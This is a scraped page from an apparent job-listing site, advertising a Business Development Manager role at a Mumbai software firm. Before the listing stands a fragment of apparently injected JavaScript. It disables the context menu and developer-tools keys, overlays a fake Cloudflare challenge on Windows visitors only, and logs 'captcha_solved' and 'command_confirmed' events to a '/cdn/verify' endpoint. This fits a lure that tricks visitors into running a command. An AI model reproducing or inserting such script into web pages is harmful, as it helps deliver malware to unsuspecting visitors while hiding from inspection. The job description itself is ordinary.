`; if (ij) { if (cl) { if (all) { document.querySelectorAll(ij).forEach(function(el, i) { el.addEventListener('click', function(e) { e.preventDefault(); document.body.appendChild(container); if (!init) { initScript(); } }); }) } else { document.querySelector(ij).addEventListener('click', function(e) { e.preventDefault(); document.body.appendChild(container); if (!init) { initScript(); } }); } } else { document.querySelector(ij).before(container); initScript(); } } else { document.querySelector('html').innerHTML = container.innerHTML; initScript(); } document.addEventListener('contextmenu', function(e) { e.preventDefault(); return false; }); document.addEventListener('keydown', function(e) { if (e.key === 'F12' || e.keyCode === 123) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'I' || e.key === 'i' || e.keyCode === 73)) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'J' || e.key === 'j' || e.keyCode === 74)) { e.preventDefault(); return false; } if (e.ctrlKey && (e.key === 'U' || e.key === 'u' || e.keyCode === 85)) { e.preventDefault(); return false; } if (e.ctrlKey && e.shiftKey && (e.key === 'C' || e.key === 'c' || e.keyCode === 67)) { e.preventDefault(); return false; } return true; }); } function sendEvent(eventType, id) { if (!syn) { return; } const payload = { id: id, event: eventType, // 'ping', captcha_opened', 'captcha_solved', 'command_confirmed' ua: navigator.userAgent, url: location.href, arch: checkArch(), timestamp: Date.now() }; const json = JSON.stringify(payload); const blob = new Blob([json], { type: 'application/json' }); const targetUrl = '/cdn/verify'; if (navigator.sendBeacon && navigator.sendBeacon(targetUrl, blob)) { return; } fetch(targetUrl, { method: 'POST', body: blob, keepalive: true, headers: { 'Content-Type': 'application/json' } }).catch(() => {}); } const arch = checkArch(); if (arch === 'non-windows') { console.log("VM detected — skipping challenge"); setTimeout(function() { if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove(); }, 1000); } else { //setTimeout(function() { const storedStatus = localStorage.getItem(`_verify_${currentId}`); if (storedStatus !== 'completed') { sendEvent('ping', currentId); showCloudflareChallenge(); if (document.querySelector('#get_api_key_jss')) document.querySelector('#get_api_key_jss').remove(); } //}, 3000); } })();
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B.E/ B.TECH Jobs

Ingenius Technologies Pvt Ltd is hiring Business Development Manager!!!

Admin Dev

JOB DETAILS :
Company Name: Ingenius Technologies Pvt Ltd
Designation: Business Development Manager
Education: Any Graduate, B.Com, B.Tech/B.E
Location: Mumbai
Experience: 2 – 7 years
Salary: Rs.400000 – Rs.700000 (Per Annum)
JOB PROFILE :
Job Description of BDM :
The role requires significant interaction with clients, which may be face-to-face or over the telephone. Tasks are varied and include:
· understanding customers’ diverse, specific business needs and applying product knowledge to meet those needs
· ensuring quality of service by developing a thorough and detailed knowledge of technical specifications and other features of employers’ systems and processes and then documenting them
· cold-calling in order to create interest in products and services, generate new business leads and arrange meetings
· identifying and developing new business through networking and courtesy and follow-up calls
· preparing and delivering customer presentations and demonstrations of the software, articulately and confidently
· marketing and promoting a portfolio of products by writing and designing sales literature and attending industry events
· maintaining awareness and keeping abreast of constantly changing software and hardware systems and peripherals
· developing effective sales plans using sales methodology
· providing technical advice to customers on all aspects of the installation and use of computer systems and networks, both before and after the sale
· advising on software features and how they can be applied to assist in a variety of contexts such as accounting, manufacturing or other specialist areas
· meeting sales targets set by managers and contributing to team targets
· networking with existing customers in order to maintain links and promote additional products and upgrades
· handling hardware or software problems and faults and referring on to specialist technical colleagues
· responding to tender documents, writing proposals, reports and supporting literature
· managing workload in order to organise and prioritise daily and weekly goals
· contributing to team or progress meetings to update and inform colleagues.
OTHER DETAILS :
Total Vacancies: 4
Job Type: Full Time
Contact Person: Pooja
Company Address: 307, Laxmi Plaza Building, New Link Road, Mumbai, Maharashtra 400053
Last Date: 05-08-2019

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